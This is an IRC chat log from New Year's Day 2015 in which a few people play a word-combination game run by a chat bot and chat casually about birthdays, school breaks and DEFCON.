[2015-01-01T02:16:39-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T02:16:39-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2015-01-01T02:16:39-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2015-01-01T02:16:39-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2015-01-01T02:16:39-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T02:16:39-0500] <alchemy> That's 87 out of 130!
[2015-01-01T02:16:44-0500] <+hardmath123> @status
[2015-01-01T02:16:45-0500] <alchemy> Alive and happy. Thanks for asking.
[2015-01-01T02:16:53-0500] <+hardmath123> @hint
[2015-01-01T02:16:54-0500] <alchemy> Nope.
[2015-01-01T02:16:57-0500] <Tamini_> hardmath123: help me find you
[2015-01-01T02:16:59-0500] <Tamini_> @hint
[2015-01-01T02:16:59-0500] <alchemy> No can do, buddy.
[2015-01-01T02:17:01-0500] <Tamini_> @hint
[2015-01-01T02:17:01-0500] <alchemy> Nope.
[2015-01-01T02:17:03-0500] <Tamini_> @hint
[2015-01-01T02:17:03-0500] <alchemy> Not on your life.
[2015-01-01T02:17:04-0500] <Tamini_> @hint
[2015-01-01T02:17:05-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-01T02:17:08-0500] <Tamini_> @hint
[2015-01-01T02:17:08-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-01T02:17:10-0500] <Tamini_> @hint
[2015-01-01T02:17:11-0500] <alchemy> Not on your life.
[2015-01-01T02:17:11-0500] <+hardmath123> hardmath123 = [something hard] + [math]
[2015-01-01T02:17:14-0500] <Tamini_> @hint
[2015-01-01T02:17:14-0500] <alchemy> Not on your life.
[2015-01-01T02:17:17-0500] <Tamini_> @combine stone math
[2015-01-01T02:17:18-0500] <alchemy> stone and math don't make anything exciting.
[2015-01-01T02:17:21-0500] <Tamini_> @combine metal math
[2015-01-01T02:17:22-0500] <alchemy> metal and math don't make anything exciting.
[2015-01-01T02:17:25-0500] <Tamini_> @list
[2015-01-01T02:17:26-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T02:17:26-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2015-01-01T02:17:26-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2015-01-01T02:17:26-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2015-01-01T02:17:26-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T02:17:26-0500] <alchemy> That's 87 out of 130!
[2015-01-01T02:17:33-0500] <+hardmath123> oh whoops
[2015-01-01T02:17:36-0500] <Tamini_> @combine computer math
[2015-01-01T02:17:37-0500] <alchemy> computer and math don't make anything exciting.
[2015-01-01T02:17:45-0500] <Tamini_> did you typo again
[2015-01-01T02:18:02-0500] <+hardmath123> no
[2015-01-01T02:18:03-0500] <+hardmath123> well yes
[2015-01-01T02:18:05-0500] <+hardmath123> @refresh
[2015-01-01T02:18:06-0500] <alchemy> Refreshing...
[2015-01-01T02:18:06-0500] <alchemy> Done.
[2015-01-01T02:18:11-0500] <+hardmath123> i made it 'rock+math'
[2015-01-01T02:18:14-0500] <Tamini_> @list
[2015-01-01T02:18:14-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T02:18:14-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2015-01-01T02:18:14-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2015-01-01T02:18:14-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2015-01-01T02:18:14-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T02:18:14-0500] <alchemy> That's 87 out of 130!
[2015-01-01T02:18:17-0500] <Tamini_> oh LOL
[2015-01-01T02:18:21-0500] <Tamini_> @combine stone math
[2015-01-01T02:18:21-0500] <+hardmath123> but 'rock' is the music genre in this game
[2015-01-01T02:18:21-0500] <alchemy> You just discovered hardmath (stone + math)!
[2015-01-01T02:18:25-0500] <+hardmath123> :D :D
[2015-01-01T02:18:31-0500] <+hardmath123> @possible rock
[2015-01-01T02:18:32-0500] <Tamini_> @combine hardmath paper
[2015-01-01T02:18:32-0500] <alchemy> Yeah, you can make rock.
[2015-01-01T02:18:33-0500] <alchemy> You just discovered limerick (hardmath + paper)!
[2015-01-01T02:18:37-0500] <Tamini_> @possible music
[2015-01-01T02:18:38-0500] <alchemy> Yeah, you can make music.
[2015-01-01T02:18:39-0500] <Tamini_> hmm
[2015-01-01T02:18:44-0500] <Tamini_> @combine joy math
[2015-01-01T02:18:44-0500] <alchemy> joy and math don't make anything exciting.
[2015-01-01T02:18:53-0500] <Tamini_> @combine limerick joy
[2015-01-01T02:18:54-0500] <alchemy> limerick and joy don't make anything exciting.
[2015-01-01T02:19:00-0500] <Tamini_> @possible poetry
[2015-01-01T02:19:00-0500] <alchemy> No, you can't make poetry.
[2015-01-01T02:20:19-0500] <Tamini_> @possible space
[2015-01-01T02:20:20-0500] <alchemy> No, you can't make space.
[2015-01-01T02:20:26-0500] <Tamini_> cmon, spacetime
[2015-01-01T02:21:01-0500] <+hardmath123> if i wanted to be a really mean troll
[2015-01-01T02:21:05-0500] <+hardmath123> space would be " " + " "
[2015-01-01T02:21:17-0500] <Tamini_> :P
[2015-01-01T02:21:25-0500] <Tamini_> @combine recursion recursion
[2015-01-01T02:21:25-0500] <alchemy> You don't have recursion!
[2015-01-01T02:21:31-0500] <+hardmath123> @list
[2015-01-01T02:21:32-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T02:21:32-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber
[2015-01-01T02:21:32-0500] <alchemy> You have: limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle
[2015-01-01T02:21:32-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado
[2015-01-01T02:21:32-0500] <alchemy> You have: torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T02:21:32-0500] <alchemy> That's 89 out of 130!
[2015-01-01T02:21:50-0500] <Tamini_> how do you get recursion eithout recursion :<
[2015-01-01T02:21:56-0500] <+hardmath123> you don't
[2015-01-01T02:21:58-0500] <Tamini_> also now i want music/time/food
[2015-01-01T02:21:59-0500] <Tamini_> hmm
[2015-01-01T02:22:03-0500] <Tamini_> hardmath123: wut
[2015-01-01T02:22:09-0500] <Tamini_> @recursion
[2015-01-01T02:22:16-0500] <Tamini_> @possible recursion
[2015-01-01T02:22:17-0500] <alchemy> Yeah, you can make recursion.
[2015-01-01T02:22:19-0500] <Tamini_> @hint
[2015-01-01T02:22:19-0500] <alchemy> Hint: It's possible to make pdgn with friendship!
[2015-01-01T02:22:23-0500] <+hardmath123> that's a lie
[2015-01-01T02:22:23-0500] <Tamini_> @hint
[2015-01-01T02:22:24-0500] <alchemy> No can do, buddy.
[2015-01-01T02:22:27-0500] <+hardmath123> you can't make recursion
[2015-01-01T02:22:28-0500] <+hardmath123> :P
[2015-01-01T02:22:32-0500] <Tamini_> :P
[2015-01-01T02:22:40-0500] <Tamini_> OH
[2015-01-01T02:22:42-0500] <Tamini_> wait hmm
[2015-01-01T02:22:52-0500] <Tamini_> of exploit, time, music, food
[2015-01-01T02:22:57-0500] <Tamini_> what can i make with what i have now
[2015-01-01T02:23:02-0500] <+hardmath123> food
[2015-01-01T02:23:18-0500] <+hardmath123> and time
[2015-01-01T02:23:24-0500] <Tamini_> @combine crop man
[2015-01-01T02:23:24-0500] <alchemy> You don't have crop!
[2015-01-01T02:23:28-0500] <Tamini_> @combine crops man
[2015-01-01T02:23:28-0500] <alchemy> crops and man don't make anything exciting.
[2015-01-01T02:23:32-0500] <Tamini_> @combine crops tool
[2015-01-01T02:23:32-0500] <alchemy> crops and tool don't make anything exciting.
[2015-01-01T02:23:37-0500] <Tamini_> @list
[2015-01-01T02:23:37-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T02:23:37-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber
[2015-01-01T02:23:37-0500] <alchemy> You have: limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle
[2015-01-01T02:23:37-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado
[2015-01-01T02:23:37-0500] <alchemy> You have: torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T02:23:37-0500] <alchemy> That's 89 out of 130!
[2015-01-01T02:23:47-0500] <Tamini_> @combine crops engine
[2015-01-01T02:23:48-0500] <alchemy> crops and engine don't make anything exciting.
[2015-01-01T02:23:55-0500] <Tamini_> @combine crops science
[2015-01-01T02:23:56-0500] <alchemy> crops and science don't make anything exciting.
[2015-01-01T02:23:58-0500] <+hardmath123> crops need to grow
[2015-01-01T02:24:04-0500] <Tamini_> @combine crops rain
[2015-01-01T02:24:05-0500] <alchemy> You just discovered food (crops + rain)!
[2015-01-01T02:24:07-0500] <Tamini_> yay
[2015-01-01T02:24:11-0500] <Tamini_> @combine food house
[2015-01-01T02:24:12-0500] <alchemy> food and house don't make anything exciting.
[2015-01-01T02:24:17-0500] <Tamini_> restaurant? ;<
[2015-01-01T02:24:24-0500] <+hardmath123> that should sooo be kitchen
[2015-01-01T02:24:33-0500] <Tamini_> lol
[2015-01-01T02:24:34-0500] <+hardmath123> or mcdonalds
[2015-01-01T02:24:36-0500] <Tamini_> @possible kithen
[2015-01-01T02:24:36-0500] <alchemy> No, you can't make kithen.
[2015-01-01T02:24:41-0500] <Tamini_> @possiblr kitchen
[2015-01-01T02:24:44-0500] <+hardmath123> kitchen, not kitten
[2015-01-01T02:24:45-0500] <Tamini_> @possible restaurant
[2015-01-01T02:24:47-0500] <alchemy> Yeah, you can make restaurant.
[2015-01-01T02:24:49-0500] <+hardmath123> not kitten
[2015-01-01T02:24:57-0500] <Tamini_> @combine food food
[2015-01-01T02:24:58-0500] <alchemy> food and food don't make anything exciting.
[2015-01-01T02:25:05-0500] <Tamini_> @possible kitchen
[2015-01-01T02:25:06-0500] <alchemy> No, you can't make kitchen.
[2015-01-01T02:25:09-0500] <Tamini_> @combine food man
[2015-01-01T02:25:10-0500] <alchemy> You just discovered restaurant (food + man)!
[2015-01-01T02:25:21-0500] <+hardmath123> hmm
[2015-01-01T02:25:27-0500] <Tamini_> hmmmm
[2015-01-01T02:25:35-0500] <Tamini_> okay so time now
[2015-01-01T02:25:58-0500] <Tamini_> @combine light energy
[2015-01-01T02:25:59-0500] <alchemy> light and energy don't make anything exciting.
[2015-01-01T02:26:11-0500] <Tamini_> @combine light science
[2015-01-01T02:26:12-0500] <alchemy> light and science don't make anything exciting.
[2015-01-01T02:26:16-0500] <Tamini_> @combine energy science
[2015-01-01T02:26:17-0500] <alchemy> energy and science don't make anything exciting.
[2015-01-01T02:28:08-0500] <+hardmath123> @hint
[2015-01-01T02:28:09-0500] <alchemy> Not on your life.
[2015-01-01T02:29:16-0500] <Tamini_> @hint
[2015-01-01T02:29:17-0500] <alchemy> No can do, buddy.
[2015-01-01T02:31:43-0500] <+hardmath123> @hint
[2015-01-01T02:31:44-0500] <alchemy> Hint: It's possible to make metal with stone!
[2015-01-01T02:32:12-0500] <Tamini_> @hint
[2015-01-01T02:32:13-0500] <alchemy> Not on your life.
[2015-01-01T02:32:16-0500] <Tamini_> @hint
[2015-01-01T02:32:17-0500] <alchemy> No can do, buddy.
[2015-01-01T02:35:46-0500] <+hardmath123> You know what?
[2015-01-01T02:35:53-0500] <+hardmath123> I don't care about staying up till midnight.
[2015-01-01T02:35:55-0500] <+hardmath123> It means nothing.
[2015-01-01T02:36:02-0500] <+hardmath123> Good night, people. <3
[2015-01-01T02:36:30-0500] <Tamini_> wait but
[2015-01-01T02:36:34-0500] <Tamini_> 24 minutes :<
[2015-01-01T02:36:38-0500] <Tamini_> gnight yo
[2015-01-01T02:37:30-0500] <+hardmath123> yeah exactly
[2015-01-01T02:37:42-0500] <+hardmath123> being awake another 24 minutes doesn't change anything
[2015-01-01T02:37:51-0500] <+hardmath123> :)
[2015-01-01T02:37:57-0500] <+hardmath123> cheers
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[2015-01-01T05:31:36-0500] <nezorg> ...wow, that's a lot of logs
[2015-01-01T05:52:17-0500] <nezorg> Tamini_: wow, you go to parties?
[2015-01-01T05:52:33-0500] <nezorg> I think that disqualifies you from nerddom
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[2015-01-01T10:22:47-0500] <The_Master> @list
[2015-01-01T10:22:48-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T10:22:48-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T10:22:48-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T10:22:48-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T10:22:48-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T10:22:48-0500] <alchemy> That's 91 out of 130!
[2015-01-01T10:23:00-0500] <+JacobEdelman> gmorning 
[2015-01-01T10:23:17-0500] <The_Master> @combine sentience blackhat
[2015-01-01T10:23:18-0500] <alchemy> You just discovered xkcd (sentience + blackhat)!
[2015-01-01T10:23:23-0500] <The_Master> yea!!!
[2015-01-01T10:23:25-0500] <+JacobEdelman> ....
[2015-01-01T10:23:26-0500] <+JacobEdelman> wow
[2015-01-01T10:23:27-0500] <+JacobEdelman> nice
[2015-01-01T10:23:44-0500] <The_Master> @combine whitehat blackhat
[2015-01-01T10:23:45-0500] <alchemy> whitehat and blackhat don't make anything exciting.
[2015-01-01T10:23:50-0500] <+JacobEdelman> @combine sentience whitehat
[2015-01-01T10:23:50-0500] <alchemy> sentience and whitehat don't make anything exciting.
[2015-01-01T10:23:55-0500] <+JacobEdelman> @combine sentience math
[2015-01-01T10:23:56-0500] <alchemy> sentience and math don't make anything exciting.
[2015-01-01T10:24:01-0500] <+JacobEdelman> @combine genius xkcd
[2015-01-01T10:24:02-0500] <alchemy> genius and xkcd don't make anything exciting.
[2015-01-01T10:24:08-0500] <+JacobEdelman> @combine genius whitespace
[2015-01-01T10:24:09-0500] <alchemy> genius and whitespace don't make anything exciting.
[2015-01-01T10:24:20-0500] <The_Master> @combine jacob whitespace
[2015-01-01T10:24:21-0500] <alchemy> jacob and whitespace don't make anything exciting.
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[2015-01-01T10:55:56-0500] <alokpathy> #lidy
[2015-01-01T10:55:59-0500] <alokpathy> wat
[2015-01-01T10:56:00-0500] <alokpathy> @list
[2015-01-01T10:56:01-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T10:56:01-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T10:56:01-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T10:56:01-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T10:56:01-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T10:56:01-0500] <alchemy> That's 92 out of 130!
[2015-01-01T10:56:08-0500] <alokpathy> DAmn
[2015-01-01T10:56:14-0500] <alokpathy> What was xkcd?
[2015-01-01T10:56:23-0500] <alokpathy> Also it's Jacob's birthday unless his FB is lying
[2015-01-01T10:56:28-0500] <alokpathy> and LittleBobbyTables's birthday
[2015-01-01T10:56:31-0500] <alokpathy> unless his FB is lying.
[2015-01-01T11:03:12-0500] <+JacobEdelman> ezra got xkcd
[2015-01-01T11:03:16-0500] <+JacobEdelman> and its not my brithday
[2015-01-01T11:03:19-0500] <+JacobEdelman> sorry
[2015-01-01T11:03:20-0500] <+JacobEdelman> :P
[2015-01-01T11:04:36-0500] <alokpathy> Darn, break's ending soon.
[2015-01-01T11:04:46-0500] <alokpathy> But then I have about 3 weeks of school :D
[2015-01-01T11:11:09-0500] <+JacobEdelman> shhhhhhhh
[2015-01-01T11:11:16-0500] <+JacobEdelman> some of us have legit school left
[2015-01-01T11:11:27-0500] <+JacobEdelman> and hence are trying to ignore the coming end of break
[2015-01-01T11:22:12-0500] <Hyper> hehehe I don't go back until the 30th or so :)
[2015-01-01T11:34:14-0500] <+LittleBobbyTables> Happy birthday Jacob!
[2015-01-01T11:36:04-0500] <+LittleBobbyTables> alokpathy: what year did i say I was born on my facebook
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[2015-01-01T11:52:19-0500] <alokpathy> LittleBobbyTables: 22 years ago
[2015-01-01T11:52:44-0500] <alokpathy> So, like, 1993
[2015-01-01T12:19:50-0500] <+LittleBobbyTables> I have 63 friend requests
[2015-01-01T12:19:52-0500] <+LittleBobbyTables> wtf
[2015-01-01T12:44:47-0500] <alokpathy> Wat
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[2015-01-01T10:23:17-0500] <The_Master> @combine sentience blackhat
[2015-01-01T10:23:18-0500] <alchemy> You just discovered xkcd (sentience + blackhat)!
[2015-01-01T10:23:23-0500] <The_Master> yea!!!
[2015-01-01T10:23:25-0500] <+JacobEdelman> ....
[2015-01-01T10:23:26-0500] <+JacobEdelman> wow
[2015-01-01T10:23:27-0500] <+JacobEdelman> nice
[2015-01-01T10:23:44-0500] <The_Master> @combine whitehat blackhat
[2015-01-01T10:23:45-0500] <alchemy> whitehat and blackhat don't make anything exciting.
[2015-01-01T10:23:50-0500] <+JacobEdelman> @combine sentience whitehat
[2015-01-01T10:23:50-0500] <alchemy> sentience and whitehat don't make anything exciting.
[2015-01-01T10:23:55-0500] <+JacobEdelman> @combine sentience math
[2015-01-01T10:23:56-0500] <alchemy> sentience and math don't make anything exciting.
[2015-01-01T10:24:01-0500] <+JacobEdelman> @combine genius xkcd
[2015-01-01T10:24:02-0500] <alchemy> genius and xkcd don't make anything exciting.
[2015-01-01T10:24:08-0500] <+JacobEdelman> @combine genius whitespace
[2015-01-01T10:24:09-0500] <alchemy> genius and whitespace don't make anything exciting.
[2015-01-01T10:24:20-0500] <The_Master> @combine jacob whitespace
[2015-01-01T10:24:21-0500] <alchemy> jacob and whitespace don't make anything exciting.
[2015-01-01T10:55:56-0500] <alokpathy> #lidy
[2015-01-01T10:55:59-0500] <alokpathy> wat
[2015-01-01T10:56:00-0500] <alokpathy> @list
[2015-01-01T10:56:01-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T10:56:01-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T10:56:01-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T10:56:01-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T10:56:01-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T10:56:01-0500] <alchemy> That's 92 out of 130!
[2015-01-01T10:56:08-0500] <alokpathy> DAmn
[2015-01-01T10:56:14-0500] <alokpathy> What was xkcd?
[2015-01-01T10:56:22-0500] <alokpathy> Also it's Jacob's birthday unless his FB is lying
[2015-01-01T10:56:28-0500] <alokpathy> and LittleBobbyTables's birthday
[2015-01-01T10:56:31-0500] <alokpathy> unless his FB is lying.
[2015-01-01T11:03:12-0500] <+JacobEdelman> ezra got xkcd
[2015-01-01T11:03:16-0500] <+JacobEdelman> and its not my brithday
[2015-01-01T11:03:19-0500] <+JacobEdelman> sorry
[2015-01-01T11:03:20-0500] <+JacobEdelman> :P
[2015-01-01T11:04:36-0500] <alokpathy> Darn, break's ending soon.
[2015-01-01T11:04:46-0500] <alokpathy> But then I have about 3 weeks of school :D
[2015-01-01T11:11:09-0500] <+JacobEdelman> shhhhhhhh
[2015-01-01T11:11:16-0500] <+JacobEdelman> some of us have legit school left
[2015-01-01T11:11:27-0500] <+JacobEdelman> and hence are trying to ignore the coming end of break
[2015-01-01T11:22:12-0500] <Hyper> hehehe I don't go back until the 30th or so :)
[2015-01-01T11:34:14-0500] <+LittleBobbyTables> Happy birthday Jacob!
[2015-01-01T11:36:04-0500] <+LittleBobbyTables> alokpathy: what year did i say I was born on my facebook
[2015-01-01T11:52:19-0500] <alokpathy> LittleBobbyTables: 22 years ago
[2015-01-01T11:52:44-0500] <alokpathy> So, like, 1993
[2015-01-01T12:19:50-0500] <+LittleBobbyTables> I have 63 friend requests
[2015-01-01T12:19:52-0500] <+LittleBobbyTables> wtf
[2015-01-01T12:44:47-0500] <alokpathy> Wat
[2015-01-01T13:23:35-0500] <+LittleBobbyTables> right
[2015-01-01T13:29:17-0500] Mode is +ns
[2015-01-01T13:42:46-0500] <@awe> [05:52:17]  <nezorg>	Tamini_: wow, you go to parties?
[2015-01-01T13:42:46-0500] <@awe> [05:52:33]  <nezorg>	I think that disqualifies you from nerddom
[2015-01-01T13:42:48-0500] <@awe> nezorg: n.
[2015-01-01T13:43:00-0500] <Tamini_> wow nezorg
[2015-01-01T13:43:04-0500] <@awe> nezorg: I go to parties where everyone discusses social theory.
[2015-01-01T13:43:04-0500] <Tamini_> my feelings :<
[2015-01-01T13:43:09-0500] <Tamini_> @list
[2015-01-01T13:43:09-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T13:43:09-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T13:43:09-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T13:43:09-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T13:43:09-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T13:43:09-0500] <alchemy> That's 92 out of 133!
[2015-01-01T13:43:12-0500] <@awe> nezorg: I assure you, it's even nerdier.
[2015-01-01T13:43:17-0500] <Tamini_> whoa, who got xkcd and how?
[2015-01-01T13:43:33-0500] <nezorg> awe: well, the party it sounded like she was discussing :P
[2015-01-01T13:44:26-0500] <Tamini_> psh
[2015-01-01T13:44:30-0500] <Tamini_> we were all nerds
[2015-01-01T13:46:35-0500] <nezorg> aw
[2015-01-01T13:46:46-0500] <nezorg> why don't I get invited to nerdy parties
[2015-01-01T13:46:58-0500] <nezorg> ... or any parties at all, really
[2015-01-01T13:47:47-0500] <Hyper> nezorg: welcome to my life :D
[2015-01-01T13:48:25-0500] <nezorg> Hyper: we should have a party all by ourselves! :P
[2015-01-01T13:48:33-0500] <Hyper> heh
[2015-01-01T13:52:14-0500] <alokpathy> Tamini_: The_Master got it, apparently.
[2015-01-01T13:52:26-0500] <alokpathy> Idk how.
[2015-01-01T13:52:39-0500] <alokpathy> @combine math love
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[2015-01-01T13:52:39-0500] <alchemy> math and love don't make anything exciting.
[2015-01-01T13:52:43-0500] <Tamini_> nezorg: we should party at defcon ;)
[2015-01-01T13:52:47-0500] <Tamini_> @combine love genius
[2015-01-01T13:52:48-0500] <alchemy> love and genius don't make anything exciting.
[2015-01-01T13:52:52-0500] <Tamini_> oh come on
[2015-01-01T13:52:53-0500] <alokpathy> Tamini_: You're going to DEFCON? :o
[2015-01-01T13:52:55-0500] <nezorg> @combine sentience blackhat
[2015-01-01T13:52:56-0500] <alchemy> You already combined sentience and blackhat to get xkcd.
[2015-01-01T13:53:00-0500] <Tamini_> alokpathy: i want toooo
[2015-01-01T13:53:03-0500] <Tamini_> oh yay
[2015-01-01T13:53:07-0500] <Tamini_> smart nezorg
[2015-01-01T13:53:09-0500] <alokpathy> nezorg: You're going to DEFCON? :o
[2015-01-01T13:53:15-0500] <nezorg> probably
[2015-01-01T13:53:16-0500] <Tamini_> what was he again
[2015-01-01T13:53:19-0500] <nezorg> I did last year
[2015-01-01T13:53:19-0500] <Tamini_> @genius hacker
[2015-01-01T13:53:25-0500] <Tamini_> @combine genius hacker
[2015-01-01T13:53:26-0500] <alchemy> You already combined genius and hacker to get mel.
[2015-01-01T13:53:27-0500] <alokpathy> @combine linux man
[2015-01-01T13:53:28-0500] <alchemy> You already combined linux and man to get nexorg.
[2015-01-01T13:53:31-0500] <nezorg> lol
[2015-01-01T13:53:32-0500] <Tamini_> oh LOL
[2015-01-01T13:53:41-0500] <Tamini_> @combine hacker man
[2015-01-01T13:53:42-0500] <alchemy> hacker and man don't make anything exciting.
[2015-01-01T13:53:48-0500] <alokpathy> nezorg: Oh nice
[2015-01-01T13:53:50-0500] <Tamini_> hm
[2015-01-01T13:53:58-0500] <alokpathy> When is DEFCON?
[2015-01-01T13:54:01-0500] <Tamini_> oh we still dont have tex
[2015-01-01T13:54:05-0500] <Tamini_> @combine paper hacker
[2015-01-01T13:54:06-0500] <alchemy> paper and hacker don't make anything exciting.
[2015-01-01T13:54:08-0500] <alokpathy> @list
[2015-01-01T13:54:09-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T13:54:09-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T13:54:09-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool
[2015-01-01T13:54:09-0500] <alchemy> You have: puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2015-01-01T13:54:09-0500] <alchemy> You have: tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T13:54:09-0500] <alchemy> That's 92 out of 133!
[2015-01-01T13:54:11-0500] <Tamini_> @combine paper boy
[2015-01-01T13:54:12-0500] <nezorg> didn't go to any party's though :/
[2015-01-01T13:54:12-0500] <alchemy> You don't have boy!
[2015-01-01T13:54:14-0500] <alokpathy> @combine paper computer
[2015-01-01T13:54:14-0500] <alchemy> paper and computer don't make anything exciting.
[2015-01-01T13:54:17-0500] <Tamini_> @combine paper man
[2015-01-01T13:54:18-0500] <alchemy> paper and man don't make anything exciting.
[2015-01-01T13:54:20-0500] <nezorg> *parties
